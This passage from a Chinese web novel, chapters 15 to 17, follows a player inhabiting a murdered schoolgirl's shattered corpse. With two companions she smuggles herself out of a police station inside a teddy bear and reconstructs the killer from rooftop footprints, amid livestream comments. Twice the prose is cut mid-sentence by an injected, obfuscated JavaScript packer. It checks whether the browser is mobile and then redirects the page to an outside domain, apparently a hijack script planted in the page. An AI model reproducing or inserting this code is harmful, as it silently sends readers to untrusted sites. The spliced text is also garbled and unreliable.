“怎、怎么找?”徐婉被她突然的大动作惊了一下。 “去、去哪找?”小赵颤巍巍伸手,接住了因为谢柏雅大幅度的动作,而掉落的一些血痂。 最重要的是,两人看向谢柏雅此刻这幅尊荣——“方姐现在这幅样子,怎么出门?” “这个交给我。”石兴旭开口。 三人几乎立刻将视线转移到了他面前的袋子上。 这一次,他又要掏什么出来? 15. 第 15 章 半夜23:36,刑警支队走廊。 李思弦正手拿着一沓口供证词快步走在走廊上,一抬头,便看到了一个熟悉的身影匆匆而过。 “石队?今天你夜班?”李思弦开口打招呼。 “……不是,回警局拿个东西,一会儿就走。” 李思弦看向石兴旭手中正推着的一辆小推车,以及推车上那个巨大的玩偶。那是一只巨大的玩具熊,足有一米六多,几乎与人等身的高度,被放在一辆小推车上,由石兴旭推着慢慢往前走。 “你这熊……”李思弦斟酌了一下,“……是证物?” ……严格来说,熊里藏着的人,不仅算“证物”,还能算半个“证人”。 “这是,嗯……买给女朋友的礼物,填地址的时候填成了警局,得自己跑一趟带回家了。” 李思弦愣了愣,倒也不是说不行,但“给女朋友买礼物误寄工作单位”这事儿,不像他会做的事。 但毕竟涉及隐私,李思弦便也不再多问,只是简单点头。 石兴旭刚想抬步继续往外走,李思弦又叫住了他,“诶,这里遇到你正好,之前我们查的阿德的那起偷盗案,我们找到目击证人了。” 正藏在熊里的谢柏雅听到这句话,瞬间激灵了一下——黄毛阿德的案子和方映秋的绝对有关联。 石兴旭也脚步一顿,与此同时,他推车上的那只“玩具熊”短短胖胖的手臂也有意无意地碰了一下他的裤腿。 李思弦正巧看到这一幕:“熊、熊招手了?” 石兴旭面不改色,换了个站位,直接挡住了熊,“刚刚不小心踢了一脚,阿德那个案子你继续说。” 李思弦没有多想,翻开案件资料,“之前不是查到那个小混混的同伙说,阿德在最近半个月期间,手头突然宽裕不少吗?敲诈勒索的方向还没有眉目,但查到了他在三个星期前,曾经在一个小区内被人报警,说是入室盗窃。时间也合得上,很可能是销赃后手头变得宽于了,但是……” “但是?” 李思弦皱眉,也有些想不通,“但是报警的业主说,家中没有财物失窃。” “包括现金珠宝首饰?” “对,而且我们排查了小区及附近的报案记录,和阿德有关的,只有那一起。” 也就是说,阿德在三周前曾入室盗窃,之后又突然变得有钱,但是却没查到他偷了任何东西? 石兴旭思考了一下,随即开口:“继续排查,再往前推几周时间线,看看周边还有没有类似案件。” 说着,他刚想告别李思弦离开,熊的手臂却突然又碰了碰他——这和之前只是示意他停下的触碰不同,更像是有规律的敲打。 长、短、空、短、长、空、长、长、空、短——NAME 石兴旭瞬间反应过来,追问道,“那个小区名字是什么?” 李思弦翻了翻,“就是那所学校附近那个小区,不少老师都住在那里面。我之前调查的时候也怀疑过,他是不是因为这个盗窃案和学校的老师结下了私怨,但被盗的住户不是学校老师。”她想了想,“阿德本就在那一带活动,正好闯了那个小区的空门,可能是个巧合。” 石兴旭点头,“我知道了,方便的话一会儿传一份电子档给我。” “等等,石队,那个熊……”李思弦再次提到了熊,这下连石兴旭都觉得手心微微出汗。 李思弦绕着熊看了好几圈,石兴旭拦也不是不拦也不是,半晌后她道,“是不是电动的啊?我看到它的手好像动了好几次?” “不是……”他下意识否认,却见李思弦似乎想要上手捏两把熊的双手,石兴旭心中一惊,赶忙挡住,结果动作太大,直接把“熊”撞到了地上! “咔啦”几声脆响,石兴旭背后的冷汗瞬间流了下来。 “啊抱歉抱歉,我不该乱碰的……”李思弦赶忙道歉,蹲下身想帮忙扶起熊,“主要是我家里有个妹妹,最近要生日了,想给她送个生日礼物。石队,你这熊……里面不是棉花?还有骨骼的吗?” 石兴旭:…… 他虽然眼疾手快,没让李思弦摸到熊里面的“骨头”,但刚刚掉落在地上的时候,谢柏雅身上脆弱的骨骼似乎又错位了几块,那声音又过于清脆…… 石兴旭心念电转,想到了解释方法:“……我这个熊是电动和录音双功能的,而且……大概不适合小孩子。” 说着,他蹲下身,在熊的背后装模作样地拍了两拍。 下一秒,李思弦就见本好好靠着推车的熊突然挥了挥手! 李思弦:……! 然后,沙哑的声音从熊里传来,像是劣质播放器才会放出来的沙哑电音。 “祝你生日快乐、祝你生日快乐……” 一只几乎和人一样高的熊,面上挂着独属于玩偶的虚假笑容,坐在夜色中的走廊里,僵硬地挥着手,还循环唱着沙哑古怪的生日歌…… 李思弦背后一凉,退后一步,干笑两声,“……确实不适合小孩子。但这、这是你送给女朋友的生日礼物?” 谁家好人家送这种鬼屋玩具给女朋友做生日礼物啊! 她就说这熊看上去怎么还有点旧了!敢情是特意做旧烘托气氛的吗? 石兴旭信口胡诌:“这不是快十一月了吗?万圣节礼物。” 李思弦:…… [我去,这两人什么超强应变能力,我一个看直播的都给吓出冷汗了!] [我差点以为李警官要开熊检查了!!] [你以为她不想吗……你看她的表情,但凡推熊的换一个人她都要检查了吧??] [毕竟这是个同事流个冷汗就要怀疑被劫持的警局啊哈哈哈哈哈哈哈哈] 躲在熊里看着弹幕,谢柏雅也难得有些后怕的心思,这些警察角色也太警觉了。 无论如何,应付过李思弦后,石兴旭终于顺利地连人带熊将谢柏雅运出了警局,到停车场和久等的徐婉小赵两人汇合。 “怎么样怎么样?我看弹幕上给我转播你们那儿的情况都给我急死了。”徐婉迎了上来。 “对啊,一上来就是把尸体偷出警局这么刺激的任务,太吓人了!”小赵光是看弹幕讨论,就出了一头冷汗。 两个当事人看着倒是十分淡定,石兴旭把谢柏雅藏身的熊抱上车后,将车钥匙给了他们,谢柏雅艰难地从熊里钻出来,正巧看到他的动作。 “你不和我们一起去?” 石兴旭摇摇头:“我去问一下李警官刚刚那个案子的具体细节,顺便去技术部问问情况,看看有没有人能帮忙。” 他平时要想去学校调查,可以白天光明正大地去,那不如把有限的时间用来调查些别的事。 小赵接过车钥匙,自觉地当起了司机,打火的时候想到了什么,“不对呀,你刚刚不是说要去给你女朋友送礼物?马上回警局不会引起怀疑吗?” 石兴旭倒是很淡定,“理由现成的,”他看了一眼后座被扯了一半、里面钻出半拉尸体的玩偶熊,“送这个礼物给女友,然后被赶出门了。” ……可以,相当合理。 路上,谢柏雅将刚刚李思弦说的盗窃案和队友分享了一下,末了看向徐婉,“你对那个小区有什么了解吗?” “那个小区就在学校附近,”徐婉听到小区的名字,补充道,“是一个人口非常密集的小区,里面是联排别墅区,靠外面是普通的居民楼,我们学校挺多老师都住在里面的。据我所知,就有陈老师和王老师,校长在那个小区好像也有房子。” 谢柏雅思考了一下,看向小赵:“你们验尸结果里,方映秋肚子里的孩子几周?” “三周左右。” 谢柏雅打开手上的手机——这自然不是“方映秋”这个身体的,她的已经作为证物被锁起来了,这是石兴旭的备用机。 又被指尖的碎肉和骨头搞得断触两次后,谢柏雅“啧”了一声,看向徐婉,“还是你帮忙给石兴旭发信息吧。” 徐婉拿出手机,“好的,你说。” “阿德三周前在那个小区闯空门,方映秋肚子里的孩子正好三周左右,还有……” 谢柏雅想起之前差点被自己忽略的一个细节,“方映秋对那个小区的反应很大。” “反应?”徐婉楞了一下。 “我之前在这具身体里,能感受到身体的情绪——前两天不是王老师从警局把我接回家了吗?进入小区的时候,她心中的情绪波动很大。” 徐婉打完这些字发送后,靠在后座和谢柏雅一起推理,“听你这么一总结的话,方映秋肚子里的孩子会不会……” 谢柏雅点点头,“很有可能。而且更大的可能是,那天方映秋进出小区的时候,很可能被去闯空门的阿德撞见了,所以后续阿德才会用这件事一直向方映秋勒索钱财。” 更有甚者,阿德勒索的未必只有方映秋一人,方映秋的经济状况,就算把所有钱掏出来供养他,也不足以做到让他“手头宽裕”。 那阿德勒索的另一个人,难道就是方映秋孩子的爸爸?那他的死,很可能就和这个神秘的男人有关。 “阿德的案子就先交给石兴旭,”谢柏雅看向车窗玻璃中映照出的校园教学楼,“我们去查方映秋案子的证据。” 三人将车停在了学校侧边的绿化带附近隐蔽,锁了车门下车。 谢柏雅依旧缩在那只等身熊玩偶中,方映秋本身身高就还没到一米六,又已经摔得……堪称支离破碎,就算徐婉帮忙黏合好了一些骨头,缩进玩偶里也毫不费力——甚至变相提高了谢柏雅的行动能力。 虽然,被人看到一只熊在路上走着也挺惊悚的,但总归比被人看到一具尸体在路上走好。 三人绕到学校后门,徐婉指了指学校的铁栏上一个矮一截的豁口。 “这是我今天白天发现的,本来就想今晚来学校找线索的,正好用上。” 小赵点点头,他的身份是三人中身手最好的,三下五除二就爬上了铁栏杆,在豁口边一撑,轻而易举地翻了过去。 徐婉也是白天踩过点的,知道哪里最好承重,虽然艰难了点,但还是勉勉强强爬了上去,再加上小赵在那边接应,也还算顺利地翻了过去。 “……没想到都从学校毕业八百年了,还能体验到一把深夜翻墙的刺激感。” 徐婉擦了一把额头的汗珠,拍掉手上的灰尘,看向栏杆外的谢柏雅:“方姐……” 等等,方姐这样子现在可以过得来吗? 想到谢柏雅之前连走都走不动的身体,让她爬这么高的栏杆……多少有点不切实际吧? “要不,我们两个进去搜?方姐你就在外面……卧槽!” 就在小赵和徐婉觉得谢柏雅无法过来的时候,就见谢柏雅三下五除二地“脱”了自己身上的熊玩偶,整个人顿时和长毛猫落水一般,缩减了一大半的体积。 下一秒,她“唰”地伸手,一只剩下半截带肉的左手,便连肉带骨头地轻易穿过了栏杆缝隙。 小赵被突然怼到眼前的白骨吓了一跳,“卧……”随即自己捂住了嘴巴。 看他不动,那截白骨的指节还灵活地伸缩两下,“愣着干什么?让我扶一把啊!” “啊?哦、哦!”小赵走过来,伸手拉住谢柏雅,给她借个力。 接着,就见她借着这道力,缓缓挪动着身体,只听“喀啦喀啦”的骨头摩擦栏杆声依次响起,先是左手的骨架、左肩的骨架、左半边身体……的骨架从栏杆的缝隙中穿过,尔后腿骨跨了进来…… 小赵:…… [卧槽,这骨头摩擦铁栏杆的声音好酸爽] [原来一个人可以这么瘦吗?] [这就是物理意义上“瘦的只剩骨头”了吗] “骨感美人”谢柏雅略显艰难地将自己从栏杆的缝隙中塞进去,除了头骨卡了一下以外,倒也还算顺利。 完全穿过后,她舒了一口气,重新将玩偶套装穿在了身上,“呼,还好摔下来的时候头骨凹进去一块,不然这栏杆还真过不来呢,还算因祸得福?” [方姐是在讲冷笑话吗……] [新概念因祸得福] 这一下,连承受力相当高的徐婉都露出了一言难尽的表情,看了看谢柏雅身后的栏杆:“方姐……” “没事,我检查过了,没有肉和血迹沾上去,不用担心留下DNA。” “不是,我是说……”她指了指栏杆缝隙处,“你右手无名指的最后一根骨节卡在栏杆里了。” 谢柏雅回头,看到了那截卡着的指骨。 她刚想走上前去取下来给自己安上,突然心中一动,想着要控制那截指骨…… 两秒后,那截卡着的指骨在栏杆上颤动两下,自己挣脱出来,随即“唰”地一下,自己归位了! 小赵瞪大眼睛:“……这是什么新技能吗!” 谢柏雅随手拿过包里的502,将那截指骨固定牢了,随即随口道:“反向五马分尸吧。” [神**五马分尸,法医的眼珠子都快瞪出来了哈哈哈哈哈哈哈] [法医:生物学和法医学都不存在了!!] 三人总算顺利地进入了学校,这间住宿学校常年以严格管理出名,夜间也有保安巡逻。但也不至于三步一哨五步一岗,借着夜色的掩护,他们潜入地还算顺利。 “别看这所学校广告打得那么好,其实平时晚上他们只有宿舍楼是开的摄像头。”徐婉吐槽道。 “那那天晚上怎么育德楼开着摄像头?”小赵都察觉出了不对。 “很明显,有人要给自己做不在场证明。” 本来只是推测,但如今的证据在一步步作证这个推理,“包括这个摄像头的位置,凶手也一清二楚。” 说着,谢柏雅指了指监控室记录里那晚的录像带。 “那天晚上德育楼就六楼到天台的那个摄像头开了,底楼到六楼都没有,明显是有人手动开的——而且光看现在屏幕里的视角也知道,从门口到栏杆边,边上是有一段监控死角的。” 谢柏雅闭眼回忆,昨天晚上跳楼前虽然她没法控制身体,但还是看清了天台的全貌,她很确定存在监控死角。 “所以我们要找的凶手,是一位能控制监视器开关的、很了解监控死角的人。”谢柏雅看向徐婉,“学校老师里有哪些嫌疑人吗?” 徐婉想了下:“……还真不少,除了校长和教导主任外,连各个班级的班主任都能选择性开自己班级的监控,所有监控开法一样的。” “这不还是没能排除多少人吗……”小赵有点泄气。 “不,还能排除,”谢柏雅抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472589|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向学校最高的那栋建筑,德育楼,“我们要上去。” 十分钟后,裹着长风衣的徐婉爬上了德育楼七楼,走到监控的死角边缘,从大衣里掏出一截手臂——准确来讲,是手臂的骨架。 她将手臂的骨架拿衣服牢牢绑在栏杆边,确信已经固定地差不多后,掏出手机,给小赵发了条信息:“好了。” 下一秒,栏杆上的手臂骨架开始剧烈晃动,越来越剧烈,甚至隐约带动着栏杆开始“哐哐”地晃动。 “卧槽!”徐婉没想到会晃得这么厉害,赶忙上前拽住手臂,结果差点把自己给拽下去。 就在她快撑不住的时候,终于,两个黑影从楼底下“唰”一下飞了上来,仿佛磁吸一般,其中一个黑影和那截手臂吸在了一起,合为一体,然后动了动手臂,一拽一撑,翻过了栏杆。 ……连带着她卡在怀里的那个苍白的身影。 ——凭借着这具“身体”各个部位的“吸力”,谢柏雅直接带着小赵,从楼底飞上了七楼! “我……去……”小赵从谢柏雅身旁离开,颤颤巍巍地靠倒在栏杆旁,“……这辈子没想到……还能这么……坐过山车……” [卧槽哈哈哈哈见过御剑飞行的御气飞行的,没见过御骨飞行的!] [还是自己的骨头,笑吐我了] [什么小赵依人哈哈哈,缩在方姐怀里的小赵:弱小可怜又无助] [确定依的是“人”吗哈哈哈这不是依的一具尸体吗!!] [方姐真的是把这具身体玩出花来了啊啊啊啊羡慕小赵能和方姐贴贴!!] [哈哈哈哈小赵:这福气给你要不要啊] [我要我要我要!美丽的皮囊千篇一律!有趣的骨架万里挑一!] 小赵靠在栏杆边吹了半天冷风,终于从“和骨架贴贴”和“极速过山车”中缓过神,颤颤巍巍地站起身。 “你、你们找到什么了吗……” 在他休息的时候,谢柏雅和徐婉已经开始实地检查起了现场。 谢柏雅看了小赵一眼,“我们需要实地模拟一下凶手的身高。小赵,过来一下。” “啊?哦。”小赵的眼神依然清澈,但好在足够听话,叫他干什么就干。 小赵靠了过去,站在谢柏雅身后,她靠到栏杆边,头也没回,“抱我。” 小赵:?? “不不不……”小赵连连后退,“这不合适吧……” “有什么不合适的,”谢柏雅奇怪地往回看了一眼,“抱我啊,然后把我举过栏杆,抬到可以扔下去的高度。” 徐婉一巴掌拍在他肩膀上,“做什么美梦呢,方姐是让你模拟凶手的动作!” “哦、哦好……” 小赵没了顾虑,走到谢柏雅身后,比划了一下姿势,发现直着身体抱她,双手的落点会有些冒犯,便想弯点腰避过胸口,但马上就被谢柏雅叫停。 “停,别弯腰。”谢柏雅回忆了一下,“那个凶手没有弯腰——这个高度弯腰的话会有呼吸喷到我耳边,我没有这样的印象。” 小赵照做了,谢柏雅继续:“压住我的胸口,捂住我的嘴巴。” 小赵为难了一下,“方、方姐……你、你肋骨有点卡手……” [hhhhh物理意义上的卡手] [法医的手直接卡进骨头缝里了哈哈哈哈] [刚刚那句“抱我”还以为要转进恋爱频道了,结果依旧是恐怖悬疑画风,甚至要求人家把她扔下去,还被尸体卡骨头了] [方姐的画风令人安心] [我比较关心那个警察有没有后悔没有跟来,他看方姐的眼神明显不一样啊!要是知道跟来能抱方姐得把肠子悔青了] [不太行,那个警察的手臂肌肉比小赵的结实多了,他的手臂要是卡方姐肋骨里,很难拿出来。] [这是重点吗……] 一通折腾下来,小赵终于配合着做完了谢柏雅的实验,将半个身体……额,尸体,都吊在半空的谢柏雅拉了回来。 “我也量完了,”旁边的徐婉终于从蹲着的姿势站了起来,收起手中的皮尺,“天台上的灰尘和水泥渍太少了,没办法精确测量这个脚印,但差不多……28厘米不到。” 谢柏雅点点头,又让徐婉来量了一下小赵的双肩肩宽,边精准地询问了小赵的身高体重。 “176cm,62kg。”小赵报道。 [这是在干什么……方姐要给小赵量衣服吗?] [虽然听说过刑侦技术里可以用脚印来判断身高体重,但天台上那么多脚印,方姐怎么判断出哪个脚印是属于凶手的?] 同样的问题,小赵也探头问了出来。 “从脚印的深度来看的。”谢柏雅答道,“方映秋的身高160cm不到,体重43kg,她虽然体重瘦弱到偏病态,但骨架现在你们也能看得很清楚,在女生平均范围内。” [这是在讲冷笑话吗……] [骨架确实看得很清楚呢……] “能把她一把抱起来还扔下去的人,从力量和身形感知上来看只有可能是男性,这就已经排除了天台上那些偏小和窄的脚印,剩下那些明显男性的脚印里,只有这个脚印,着力点不对。” 谢柏雅走到脚印边,蹲下比划,“足尖的着力点太轻,几乎只有薄薄的一层脚印,发力点比普通脚印偏后,说明他整个脚在鞋子里的重心是比正常的脚偏后的——他穿了比自己平时大一点的鞋子。按照身高公式来算,28厘米的脚印要接近一米九的身高。但凶手显然没这么高。 “以小赵做范本,肩宽比他宽2-3厘米,身高比他高不超过5厘米,身型结实,再根据肩宽比计算……” 谢柏雅低头,艰难地用触屏手机按着计算器,按下最后一个按键后,抬头。 “我们要找的凶手,身高178cm到182cm之间,中等偏壮身材,体重在63kg-65kg之间,年龄45-50之间。” 她的脑子里冒出来了一个名字,但没有急着说出口。 谢柏雅慢吞吞地将自己重新塞回玩偶熊里,结语道:“所以,现在只要再找到关键性证据,我们就能结案了。” [??啥??我跳过了什么??怎么就突然结案了??] [雾草这才案发后第一天晚上吧!!第二天太阳都还没升起来!!怎么就结案了!!] [我错过了什么吗?她不就是在天台上搞了点行为艺术,又拿计算器按了几个数字吗!!] [恐成本案最速结案传说!!] [方姐NB!!!!!!] 此时此刻,小赵和徐婉的心理活动和弹幕达到了高度一致。 但弹幕已经嘴替了他们,所以徐婉只是愣愣地接过手机,然后感叹般开口:“我真的好好奇,方姐现实里是做什么的啊……” 话音落下,谢柏雅没有开口,徐婉后知后觉意识到什么,赶忙找补:“我只是突然感慨,没有套话或者什么别的意思……方姐可以不说……” “病人。” “……什么?”徐婉愣住。 谢柏雅抬头,看向她,像是笑了一下——如果她的五官情况允许她做出表情的话——随后淡淡重复。 “病人,”她强调,“我在现实里,就是个普普通通的病人。” 16. 第 16 章 最后三人用了和上楼同款方法下楼,虽然当中出了点插曲——小赵捂着心口连连后退,一副“抵死不从”的模样。 “不不不用了方姐,我我我自己可以下去……” 徐婉翻了个白眼,“出了事后育德楼的监控都开着,我是学校老师,明天有人问起来,我就说我对学生的死亡有疑惑,所以重新回到了现场,你一个外校人,打算用什么借口说明你出现在了监控里?” “我是案件相关的法医!我来现场收集证据!”小赵还在挣扎。 “上楼时候监控里只有徐婉一个人,你怎么解释下楼时突然多出一个你来?”谢柏雅提醒他。 小赵:…… [这福气你不要我要啊小赵!!我愿意卡进方姐的肋骨里让她抱着飞!!] [真让你上去就老实了,这和没有保护的跳楼机有什么区别,方映秋已经是骨架了摔不死,就不顾其他人死活吗?] [爱跟不跟,求着你了吗,没有方映秋现在这俩人还在家里睡大觉呢,四个小时内直接找完线索锁定凶手,被这样的队友带飞你还挑上了?] [要不是她好命直接抽到被害者视角,还能拖着尸体行动,哪有那么容易能查到那么多线索啊?开金手指玩游戏谁不会?] [这具根本没法正常活动的身体也算金手指吗?我要是穿成尸体玩游戏,低个头就能被自己的身体吓死。] [好了好了别吵了,人家当事人都没意见你们还蛐蛐上了,哇快看他们飞了!] [我靠方姐还自己垫在下面给人当肉垫,说不顾死活的打脸不?] [嗬嗬,脑残粉] 弹幕吵得热火朝天,但现场三人已经十分习惯屏蔽弹幕自己行动了,徐婉将小赵拉起来,拍了拍他身上的灰。 “那接下来,我们回警局?”小赵谢过两人,随后开口。 既然已经从案发现场的线索推测出了凶手的身份,那现在回警局,由警察出面直接收集证据,提审嫌疑人就好。 “证据不够,”谢柏雅摇头,“这个嫌疑人太谨慎了,还做了万全的准备,甚至将自己伪装到了脚印……就算采集那个脚印,也成为不了直接证据。” “DNA呢?”徐婉灵光一闪,“按照你和石队的推理,那个人会对方映秋动手,多半是因为方映秋肚子里的孩子,那如果我们能证明那个人的DNA和方映秋的孩子匹配……” 小赵叹了口气,这到了他的专业领域了,“非法采集的DNA样本无法作为法定证据,除非我们得到他本人或者亲属的授权。” “本人肯定是走不通了,但亲属……”徐婉犹豫了一下,“他好像已经成家很久了,家里还有个上中学的女儿,这样的亲属……” 未必会给警方这样的授权。陷入婚姻的人,尤其是已经孕育了孩子的家庭中,无论男女,只有少部分家属愿意站出来指证枕边人,或是自己血脉相连的亲人。 “但如果他的罪名真的成立!那他就是个糟践了未成年女孩子还杀人灭口的混蛋啊!这种人也要袒护吗?”小赵愤慨。 “法理和伦理从古至今就是一大辩题,连现代刑法中都对近亲属有作证义务的免除权,在特定情况下,近亲属之间有权利相互隐瞒罪行而不被追究作证责任。*” 谢柏雅背诵法典的声音很冷静,听得小赵一愣一愣的,“但……也有人特别大义灭亲的吧?” “有,但我不会在最不讲人性的刑事案件里赌人性。”谢柏雅不愿多言,而是拍板,“所以,我们需要从另一个方面入手。” “另一个方面?”徐婉一愣,却突然发现谢柏雅停下了。 三人本来一边走一边压低声音讨论案情,但谢柏雅穿过了学校花坛后,在一栋楼前停下了。 她停住脚步,抬头:“这里可能会有其他关键线索。” 其他两人抬头,夜色下,“校医室”三个字的牌匾几乎看不太清。 校医室独立于教学楼和办公楼,在靠近食堂附近的小楼,也是监控的盲区里,他们不用害怕暴露自己。 走过走廊的时候,谢柏雅看着墙壁上的放假通知单,突然停步。 “这种通知单,是哪里打印的?”她问了个看似毫不相关的问题。 “政务处有专门的打印机。”徐婉答道。 “所有打印机都联网吗?打印的文件都有记录?” “对,如果你是要查你说的那个纸条的话,肯定不是学校的打印机打的,因为学校打印机的记录都不可删改,一查就能查出来。” 谢柏雅点点头,没有再多问,三个人轻松进入校医室。 谢柏雅一进校医室,直奔问诊台上那台老式的电脑而去,看的徐婉一愣,“这台电脑放这里很久了,估计已经报废了?” “键盘轴里都没有灰尘,屏幕上吸附了些许粉尘,说明这台电脑前不久刚被用过。” 谢柏雅解释两句,随即在电脑面前顿住,转头看向两人,“……但可能,得麻烦你们帮我开一下。” 说着,她举起她的手——套在大熊玩偶中短短胖胖、没有做五指分离的手套。 徐婉走过来,帮她打开了电脑,一旁的小赵没事干,谢柏雅干脆让他去把方映秋有关的纸质病历都拍下来,做个备份。 徐婉按照谢柏雅的指使,打开了网页和记录,看到空无一物的历史记录后,松了口气。 “你在紧张?”谢柏雅看了徐婉一眼,“为什么?害怕我们现在调查的这个人是凶手?” 徐婉点点头,“刘校医人还不错,虽然有的时候觉得她人太……老派了,但学校里的工作人员都知道,她出生在一个重男轻女的家庭里,会有那种思想也不奇怪,而且她至今在被她的父母和弟弟吸血……” 她说的这些,谢柏雅在第一天穿越的时候也都已经发现了。 徐婉叹了口气,“她已经很惨了,而且和我这个身份的原主关系不错,我真不希望她会是凶手。” 谢柏雅沉默了一下,随即让徐婉帮忙拨了石兴旭的电话。 等待接听的过程中,她突然开口,看向徐婉,“你去帮小赵翻一翻病历记录吧,除了方映秋的,还有之前两个跳楼自杀的女生,我记忆里没有她们的名字。” “啊?哦,好。”徐婉点头。 “喂?你们查出什么了?”石兴旭接听了电话。 谢柏雅精简地将天台上的脚印和她的推测复述了一遍,随即反问道,“你那里呢?技术科可以调取那个ip对应的地址和注册人吗?” 石兴旭的声音有些失望,“不能。”在没有明确案件和证据的情况下,他们无权调取普通公民的ip。 “那,如果是其他情况的ip呢?” “……比如?” “比如……”谢柏雅从刚刚开始就在艰难地拿手骨一个键一个键地戳键盘,终于按下了最后一个字母,“啪”地叩响了Enter键,“一封发给你们刑警支队队长的诈骗邮件。” 下一秒,远在警察局的石兴旭突然收到提示,自己的邮箱地址多了一封邮件。 《性感荷官,在线发牌》 石兴旭:…… 谢柏雅的声音从手机里淡定地传来,“让你们技术科的同事帮你调取这封邮件的ip,顺便再比对一下,是不是出自最近一个案子的‘嫌疑人’ip,这就不违规了吧?” 石兴旭觉得自己有万千吐槽梗在喉咙口,但最终还是只汇成了一个问题:“……你哪里来的我的邮箱地址?” “你给我的备用机里,邮箱app虽然退出了登陆,但记住了账号地址。下次记得警醒点,大队长。” 石兴旭:…… “你等一下,不要挂电话,我现在就去找技术员。” 等待那边比对IP的时间里,谢柏雅迈动着艰难的步伐,僵硬地在校医室搜寻起其他线索。 但最终,也只在角落处翻到几张疑似信用卡催款单,还有一些箱包收据的纸张。 小赵和徐婉已经翻拍好了病例证据,过来和她一起找,小赵看着这些纸张,挠了挠脑袋:“这几张纸是说……校医室那个刘校医超前消费?刷信用卡买包包衣服?” “卡号尾号不是同一张卡。”谢柏雅否决,“而且那个刘校医划卡的内容应该不是给自己,她很迫切地需要供养自己的弟弟。” “那这代表啥?”小赵还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14489047|153840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不明白。 谢柏雅将几张纸交给对方收好,“这代表,她是个被重男轻女家庭压榨的可怜人。” 一会儿功夫,电话那头石兴旭也得到了答案,他走出技术室和谢柏雅通电话。 “查到了,是同一个IP,你发邮件的IP,就是校园论坛上发帖传谣的IP。” 挂断电话后,谢柏雅看着徐婉不太好看的脸色,开口道,“别想了,这只是个游戏。” 徐婉点点头,但犹豫了一下,还是开口,“但是……我们刚刚不是已经确定凶手是另一个人了吗?而且退一万步来说,凶手再怎么样都该是个男人啊?” 弹幕显然也听明白了他们一系列的推测和论证,再次炸锅。 [呜呜呜不要啊,刘校医那么好的人怎么可能是凶手!!] [这推理也太扯了,刘校医是女人,按照他们的说法,凶手是那个让方映秋怀孕的人,人家也没有那功能啊!] [我是刘姐姐脑残粉!刘姐姐绝对不可能是凶手!!] [但这个刘校医有的言论确实怪怪的……一直说什么“女人就是要靠脸吃饭”什么的] [但她本身就是在那种家庭长大的啊,还一直被她父母弟弟剥削,她只是被PUA了!] [可怜人的可恨之处吧只能是,但是这不算直接证据啊!现在最多只能证明“刘校医是发帖造谣的人”,但不能证明“刘校医是杀害方映秋的凶手”啊,她可能只是发了贴什么都没干呢?] ——这也是小赵看着弹幕直接问出来的问题。 “谁说她是杀害方映秋的凶手了?”谢柏雅抬眼,反问了一句,“她在方映秋的案件里,只是一个帮凶。” “帮凶也……很牵强?”徐婉还在试图挽回一些。 谢柏雅摇摇头,“你们是不是忘了另外一个证据?” “……什么?” “陈国方早上拿出过一根验孕试剂,说是从方映秋宿舍发现的,上面显示已孕。” 小赵愣了愣,“但方映秋确实有孕啊。” “我什么时候说方映秋用过验孕试纸了?” 他们推导“方映秋自杀”这个结论的关键证据,就是那张试纸——有了那张试纸,一个“妙龄少女偷尝禁果不幸怀孕,发现后深觉无颜面对,遂自杀”的恶俗故事才得以成立。 但事实上,方映秋根本没用过试纸。 “这张试纸的存在从一开始就证明了,那名男性凶手一直有一名共犯,而那名共犯,必须是一位有孕的女性。” 毕竟不可能随便从大街上拉一个孕妇做试纸测试。 徐婉一惊:“刘校医怀孕了?” “你那天还问过她手臂上的针孔,那是促排卵针的痕迹,那种针比正常针头粗好几倍,所以才显得针孔那么恐怖。” 谢柏雅伸手,从垃圾桶里拿起一个空药盒,“□□软胶囊,保胎药——综上,她不仅怀孕了,还是通过做试管怀上的。” 小赵压了压眼睛,“……很合理,而且他们敢用这种方法‘假造’一张验孕试纸,也是因为笃定了验孕试纸上的尿液检测不出DNA。” 尿液中因为杂质太多,本身就很难提取DNA,更别说还过了那么久,很可能还被他们用什么东西污染过——他们连这点都考虑到了。 谢柏雅点头:“所以,她就是我们的突破……” 她话音未落,突然有手机的震动声从旁边小赵的口袋里传来。 “喂?胡主任?……啊对,是的,早上那具尸体是我负责的……什么!?现在?!” 大概是太过惊讶将手机拿远了点,电话里胡主任的声音在寂静的黑夜里清晰可闻。 “那你准备准备,刚刚收到通知,说是死者的父母要连夜来认尸,人已经上车了,最多半小时就到。你把尸体收拾收拾,简单缝合一下,别让两个老人家……总之你快去准备一下。” 小赵挂完电话,徐婉记得团团转,“不行!太快了赶不及!” 半个小时最多只够他们两个赶回警局,谢柏雅本就行动不便,更别提还要暗中避过所有警局的监控和巡逻,再溜回停尸间…… “怎么办!?” 17. 第 17 章 “方先生,您先冷静一下……” 警局解剖室门口的走廊上,一对穿着朴素的中年夫妻正堵在解剖室门口,男人嚷嚷得十分大声,粗犷的声音喇叭似的,几乎传遍整个警局。 “凭什么不让我看我女儿的尸体!”方映秋的父亲满脸浮躁的暴怒表情,嘴里还骂骂咧咧一些方言中的脏话。 “方先生您消消气,”老胡法医头疼地揉了揉太阳穴,“不是不让您看,我们是想请您先找个地方坐下喝口茶,等我们整理好了被害者的遗容,一定会第一时间……” “放***屁!”方父一把挥开上前阻拦的老胡法医,“你们是不是想对我女儿的尸体做什么?是不是想赚黑心钱?老子告诉你!就算是尸体,那也是我老方家的东西!” 